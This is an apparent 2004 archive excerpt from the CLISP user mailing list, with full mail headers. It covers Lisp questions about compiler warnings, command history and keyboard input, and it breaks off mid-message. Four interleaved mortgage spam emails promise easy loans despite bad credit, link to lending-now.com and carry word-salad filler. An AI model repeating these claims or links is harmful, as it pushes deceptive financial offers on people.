| http://www.alma.com/staff/hin | +1 914 631 4690 From Carlos.Ungil@cern.ch Wed Jul 07 07:02:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BiCzk-0006gA-4d for clisp-list@lists.sourceforge.net; Wed, 07 Jul 2004 07:01:56 -0700 Received: from cernmx03.cern.ch ([137.138.166.166] helo=cernmxlb.cern.ch) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BiCzj-00077P-NN for clisp-list@lists.sourceforge.net; Wed, 07 Jul 2004 07:01:56 -0700 Keywords: CERN SpamKiller Note: -51 Charset: west-latin X-Filter: CERNMX03 SMTPGW CERN Spam Sink v1.0 Received: from cernfe03.cern.ch ([137.138.28.244]) by cernmxlb.cern.ch with Microsoft SMTPSVC(6.0.3790.0); Wed, 7 Jul 2004 16:01:49 +0200 Received: from lxplus003.cern.ch ([137.138.4.244]) by cernfe03.cern.ch over TLS secured channel with Microsoft SMTPSVC(6.0.3790.0); Wed, 7 Jul 2004 16:01:35 +0200 From: Carlos Ungil X-X-Sender: ungil@lxplus003.cern.ch Reply-To: Carlos.Ungil@cern.ch To: "John K. Hinsdale" cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] does the oracle module work in Solaris? In-Reply-To: <200407071356.i67DuV3R009389@van-halen.alma.com> Message-ID: References: <200407071356.i67DuV3R009389@van-halen.alma.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-OriginalArrivalTime: 07 Jul 2004 14:01:36.0093 (UTC) FILETIME=[EA9F50D0:01C4642A] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 7 07:03:12 2004 X-Original-Date: Wed, 7 Jul 2004 16:01:35 +0200 (CEST) Hello > > I've compiled it with gcc, trying to do so with cc gives this error: > > i'm not surprised. you should use gcc anyway; ;) > one more thing: what is output of gcc -v gcc 3.3.2, but I have some other versions available if this helps. Cheers, Carlos From jeff@public.nontrivial.org Wed Jul 07 14:46:05 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BiKEu-0004p5-EL for clisp-list@lists.sourceforge.net; Wed, 07 Jul 2004 14:46:04 -0700 Received: from adsl-66-137-165-77.dsl.okcyok.swbell.net ([66.137.165.77] helo=public.nontrivial.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1BiKEu-0004gc-2v for clisp-list@lists.sourceforge.net; Wed, 07 Jul 2004 14:46:04 -0700 Received: from localhost (localhost [127.0.0.1]) (uid 503) by public.nontrivial.org with local; Wed, 07 Jul 2004 16:39:08 -0500 From: wolfjb@bigfoot.com To: "clisp-list" Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="utf-8" Content-Transfer-Encoding: 7bit Message-ID: X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] newbie question about warnings Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 7 14:47:35 2004 X-Original-Date: Wed, 07 Jul 2004 16:39:08 -0500 I have this form in a file called bsx-common.lisp. It runs on a win32 machine and is supposed to make sure the line endings are in 0x0d0x0a format (ie dos/windows line endings). I generally call this form like this: (mapcar #'(lambda (file) (crlf file)) (directory "*.txt")) (defun crlf (file) (let ((crlf-name (format nil "~a.crlf" file)) (out nil) (in nil)) (setf out (open crlf-name :direction :output :if-exists :supersede)) (with-open-file (in file :direction :input) (do ((line (read-line in) (read-line in nil 'eof))) ((eq line 'eof) "Done.") (format out "~a~%" line))) (close out) (move-file crlf-file file))) when I run 'clisp -q -c bsx-common.lisp' I get the following output: Compiling file H:\bsxruby\bsx-common.lisp ... WARNING in CRLF in lines 48..58 : CRLF-FILE is neither declared nor bound, it will be treated as if it were declared SPECIAL. WARNING in CRLF in lines 48..58 : variable IN is not used. Misspelled or missing IGNORE declaration? Wrote file H:\bsxruby\bsx-common.fas The following special variables were not defined: CRLF-FILE 0 errors, 2 warnings I don't understand how this warning is coming about since the CRLF-FILE variable is defined in the LET and should also be bound there (maybe I'm using wrong terminology here...) (I'm not worried about the unused variable IN since originally it wasn't there but I was trying stuff out to figure out the other issue with CRLF-FILE). Any help or advice or pointers to rtfm would be appreciated. Jeff From h_giles_ex@geotechnical.co.uk Wed Jul 07 14:51:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BiKKO-0006Ep-AT; Wed, 07 Jul 2004 14:51:44 -0700 Received: from [211.108.114.206] (helo=insight-media.co.uk) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1BiKKN-0005VL-HE; Wed, 07 Jul 2004 14:51:44 -0700 Received: from 68.169.3.162 by smtp.geotechnical.co.uk; Wed, 07 Jul 2004 21:53:15 +0000 Message-ID: From: "Hattie Giles" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] $12546 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 7 14:52:12 2004 X-Original-Date: Wed, 07 Jul 2004 18:53:02 -0300 Hi, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://www.lending-now.com/h7/li.php?n5n=71 Best Regards, Steve Morris No more: http://www.lending-now.com/r1/index.html ---- system information ---- tags important found page another needed functionality Other assumption submitted Currency an ordering your public-i18n-ws-request@w3org differing Users requires shorthand C: Web no What I-025: From ampy@ich.dvo.ru Thu Jul 08 01:50:48 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BiUcC-00007V-Hs for clisp-list@lists.sourceforge.net; Thu, 08 Jul 2004 01:50:48 -0700 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BiUcB-00012h-JR for clisp-list@lists.sourceforge.net; Thu, 08 Jul 2004 01:50:48 -0700 Received: from lenin (host-206-115.hosts.vtc.ru [212.16.206.115]) by vtc.ru (8.12.11/8.12.11) with ESMTP id i688k7vB025459; Thu, 8 Jul 2004 19:46:12 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1862393343.20040708191812@ich.dvo.ru> To: wolfjb@bigfoot.com CC: "clisp-list" Subject: Re: [clisp-list] newbie question about warnings In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 8 01:51:08 2004 X-Original-Date: Thu, 8 Jul 2004 19:18:12 +1100 > (let ((crlf-name (format nil "~a.crlf" file)) > CRLF-FILE variable is defined in the LET > Any help or advice or pointers to rtfm would be appreciated. Try to get some sleep and then, take a look to your code again ;) -- Best regards, Arseny From jeff@public.nontrivial.org Thu Jul 08 07:24:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BiZpM-0002gI-Q6 for clisp-list@lists.sourceforge.net; Thu, 08 Jul 2004 07:24:44 -0700 Received: from adsl-66-137-165-77.dsl.okcyok.swbell.net ([66.137.165.77] helo=public.nontrivial.org) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1BiZpM-0001Uv-GH for clisp-list@lists.sourceforge.net; Thu, 08 Jul 2004 07:24:44 -0700 Received: from localhost (localhost [127.0.0.1]) (uid 503) by public.nontrivial.org with local; Thu, 08 Jul 2004 09:17:43 -0500 References: <1862393343.20040708191812@ich.dvo.ru> In-Reply-To: <1862393343.20040708191812@ich.dvo.ru> From: wolfjb@bigfoot.com To: "clisp-list" Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="utf-8" Content-Transfer-Encoding: 7bit Message-ID: X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: newbie question about warnings Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 8 07:26:32 2004 X-Original-Date: Thu, 08 Jul 2004 09:17:43 -0500 hmm... the sleep suggestion was a good one. I hate it when I make that kind of mistake. Sorry for the noise on the list. Jeff Arseny Slobodjuck writes: > >> (let ((crlf-name (format nil "~a.crlf" file)) > >> CRLF-FILE variable is defined in the LET > >> Any help or advice or pointers to rtfm would be appreciated. > Try to get some sleep and then, take a look to your code again ;) > > -- > Best regards, > Arseny > > From p_thornton_yo@schuelbes.de Fri Jul 09 14:57:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bj3Mt-0005L4-8f; Fri, 09 Jul 2004 14:57:19 -0700 Received: from port-186.pm2.portmaster.co.uk ([212.87.88.186] helo=environ.se) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1Bj3Mc-0000Yj-NK; Fri, 09 Jul 2004 14:57:19 -0700 Received: from 133.251.129.20 by smtp.schuelbes.de; Fri, 09 Jul 2004 22:00:49 +0000 Message-ID: <097801c46600$fa9ac248$856d5c2d@environ.se> From: "Paulette Thornton" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] $23358 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 9 14:58:01 2004 X-Original-Date: Fri, 09 Jul 2004 17:00:21 -0500 Hi, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://www.lending-now.com/h7/li.php?bks=71 Best Regards, Steve Morris No more: http://www.lending-now.com/r1/index.html ---- system information ---- organization produce amended requirements system header times read locale similar submitted implies programming encompasses segments only many sender internal presents typify used generally associate From confirm-return-clisp-list=lists.sourceforge.net@returns.groups.yahoo.com Sat Jul 10 02:19:47 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BjE1L-0004a0-JF for clisp-list@lists.sourceforge.net; Sat, 10 Jul 2004 02:19:47 -0700 Received: from n21.grp.scd.yahoo.com ([66.218.66.77]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1BjE1L-0008BN-9H for clisp-list@lists.sourceforge.net; Sat, 10 Jul 2004 02:19:47 -0700 X-eGroups-Return: confirm-return-clisp-list=lists.sourceforge.net@returns.groups.yahoo.com Received: from [66.218.67.197] by n21.grp.scd.yahoo.com with NNFMP; 10 Jul 2004 09:19:38 -0000 Received: (qmail 62431 invoked by uid 7800); 10 Jul 2004 09:19:38 -0000 Message-ID: <1089451178.57.62430.m4@yahoogroups.com> From: Yahoo! Grupos Reply-To: confirm-s2-Wz32kyOmDxByX7SVkJ7ZqbECbJU-clisp-list=lists.sourceforge.net@yahoogroups.com To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 2.8 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 FROM_HAS_MIXED_NUMS From: contains numbers mixed in with letters 2.4 TO_HAS_SPACES To: address contains spaces 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED Subject: [clisp-list] Por favor, confirme su pedido de suscripci=?ISO-8859-1?Q?=F3?=n a espadaverdad Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 10 02:20:02 2004 X-Original-Date: 10 Jul 2004 09:19:38 -0000 Hola clisp-list@lists.sourceforge.net, Hemos recibido su pedido de unirse al grupo espadaverdadde Yahoo! Grupos, u= n servicio de comunidades gratuito y simple. Esta petici=F3n caducar=E1 en 7 d=EDas. PARA HACERSE MIEMBRO DEL GRUPO:=20 1) Vaya al sitio de Yahoo! Grupos haciendo clic en: =20=20=20 http://es.groups.yahoo.com/i?i=3DWz32kyOmDxByX7SVkJ7ZqbECbJU&e=3Dclisp-l= ist%40lists%2Esourceforge%2Enet=20 (Si no accede haciendo clic, "copie" y "pegue" la direcci=F3n anterior en el campo "Direcci=F3n" de su navegador de internet) -O- 2) RESPONDA a este mensaje hacie clic en "Responder" y=20 en "Enviar" en su programa de correo electr=F3nico Si no ha pedido, o no desea, suscribirse al grupo espadaverdad,=20 por favor, acepte nuestras disculpas e ignore este mensaje Cordialmente, Atenci=F3n al cliente de Yahoo! Grupos Su uso de Yahoo! Grupos est=E1 sujeto a la aceptaci=F3n de las=20 http://es.docs.yahoo.com/info/utos.html =20 From marylou_hoodge@amex.co.za Sat Jul 10 21:29:43 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BjVyB-0001Wr-A9; Sat, 10 Jul 2004 21:29:43 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1BjVyB-0002PQ-1z; Sat, 10 Jul 2004 21:29:43 -0700 Received: from [218.49.94.212] (helo=leapfrogconsulting.co.uk) by externalmx-1.sourceforge.net with smtp (Exim 4.34) id 1Bjco6-0002zv-C3; Sun, 11 Jul 2004 04:47:48 -0700 Received: from 210.82.168.49 by smtp.amex.co.za; Sun, 11 Jul 2004 04:19:00 +0000 Message-ID: <64d301c466fe$0d58ca1b$d7563f21@leapfrogconsulting.co.uk> From: "Marylou Hood" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 3.6 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 2.5 RCVD_IN_DYNABLOCK RBL: Sent directly from dynamic IP address [218.49.94.212 listed in dnsbl.sorbs.net] 0.1 RCVD_IN_SORBS RBL: SORBS: sender is listed in SORBS [218.49.94.212 listed in dnsbl.sorbs.net] 0.1 RCVD_IN_RFCI RBL: Sent via a relay in ipwhois.rfc-ignorant.org [218.49.94.212 has inaccurate or missing WHOIS] [data at the RIR] X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] $83245 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 10 21:30:02 2004 X-Original-Date: Sun, 11 Jul 2004 01:18:31 -0300 Hi, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://www.lending-now.com/h7/li.php?bks=71 Best Regards, Steve Morris No more: http://www.lending-now.com/r1/index.html ---- system information ---- distinct Distinguishing internal implement Existing operationally Web will methods own proprietary inherent We items members should preference javautilLocale disclosure only capabilities publications meet contrast From elvin_peterson@yahoo.com Sun Jul 11 09:42:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BjhP8-0008Sz-JE for clisp-list@lists.sourceforge.net; Sun, 11 Jul 2004 09:42:18 -0700 Received: from web52209.mail.yahoo.com ([206.190.39.91]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1BjhP8-0005Xb-5m for clisp-list@lists.sourceforge.net; Sun, 11 Jul 2004 09:42:18 -0700 Message-ID: <20040711164212.94713.qmail@web52209.mail.yahoo.com> Received: from [202.83.41.252] by web52209.mail.yahoo.com via HTTP; Sun, 11 Jul 2004 09:42:12 PDT From: Elvin Peterson Subject: Re: [clisp-list] Re: clisp command history To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 11 09:43:00 2004 X-Original-Date: Sun, 11 Jul 2004 09:42:12 -0700 (PDT) --- Sam Steingold wrote: > > * Elvin Peterson > [2004-06-28 08:00:30 -0700]: > > > > What would be great is if I can access the > commands executed in the > > previous clisp session with up-arrow or M-p. > > note that when CLISP is running under Emacs, > readline is not used. > if you want to remember CLISP commands when CLISP is > run in a shell, > you need to modify CLISP to call write_history() and > read_history(). > if you want to do it in Emacs, you need to add some > comint-add-to-input-history calls to > inferior-list-mode-hook and also > write the commands when you leave Emacs. The readline library _is_ used when running under SLIME in Emacs, which is what I am using now. Adding the history calls looks like a straightforward job, but I can't figure out the file it is defined in (stream.d, written in some mixed language). __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - 100MB free storage! http://promotions.yahoo.com/new_mail From tompkins_hl@kleinheinz.de Mon Jul 12 11:03:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bk58x-0008R2-Ar; Mon, 12 Jul 2004 11:03:11 -0700 Received: from [211.202.153.26] (helo=mirage-shop.de) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1Bk58s-00022V-HW; Mon, 12 Jul 2004 11:03:11 -0700 Received: from 17.224.20.122 by smtp.kleinheinz.de; Mon, 12 Jul 2004 18:10:12 +0000 Message-ID: From: "Roman Tompkins" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] $74168 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 12 11:04:06 2004 X-Original-Date: Mon, 12 Jul 2004 12:10:07 -0600 Hi, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://www.lending-now.com/h7/li.php?bks=71 Best Regards, Roman No more: http://www.lending-now.com/r1/index.html ---- system information ---- deduced behavior interoperate has This describes describing public on Discussion linguistic relationship could tags B: to running different always international representing like fallback represented From jeff@public.nontrivial.org Mon Jul 12 14:40:02 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bk8Wn-00089O-SW for clisp-list@lists.sourceforge.net; Mon, 12 Jul 2004 14:40:01 -0700 Received: from adsl-66-137-165-77.dsl.okcyok.swbell.net ([66.137.165.77] helo=public.nontrivial.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1Bk8Wn-0005YP-Fd for clisp-list@lists.sourceforge.net; Mon, 12 Jul 2004 14:40:01 -0700 Received: from localhost (localhost [127.0.0.1]) (uid 503) by public.nontrivial.org with local; Mon, 12 Jul 2004 16:32:31 -0500 From: wolfjb@bigfoot.com To: "clisp-list" Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="utf-8" Content-Transfer-Encoding: 7bit Message-ID: X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] ext:with-keyboard question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 12 14:41:00 2004 X-Original-Date: Mon, 12 Jul 2004 16:32:31 -0500 I thought to try to make a screen using the screen package. The documentation says to use ext:with-keyboard for input. I'm trying to write a simple menu system with the following code: (setf *main-win* (screen:make-window)) (setf *cust-name* "CST") (setf menu-x 20) (screen:clear-window *main-win*) (screen:set-window-cursor-position *main-win* 0 31) (format *main-win* "M A I N M E N U") (screen:set-window-cursor-position *main-win* 1 38) (format *main-win* "~a" *cust-name*) (screen:set-window-cursor-position *main-win* 3 menu-x) (format *main-win* "1. Add traffic source") (screen:set-window-cursor-position *main-win* 4 menu-x) (format *main-win* "2. Remove traffic source") (screen:set-window-cursor-position *main-win* 5 menu-x) (format *main-win* "3. Toggle bill cycle process flag") (screen:set-window-cursor-position *main-win* 6 menu-x) (format *main-win* "4. Toggle customer has traffic flag [~a]" "true") (do () (nil) (ext:with-keyboard . (cond ((string= "q" (read ext:*keyboard-input*)) (return)) ((string= "Q" (read ext:*keyboard-input*)) (return))))) however, I'm getting the error: *** - SYSTEM::%EXPAND-FORM: (STRING= "q" (READ *KEYBOARD-INPUT*)) should be a lambda expression Can someone 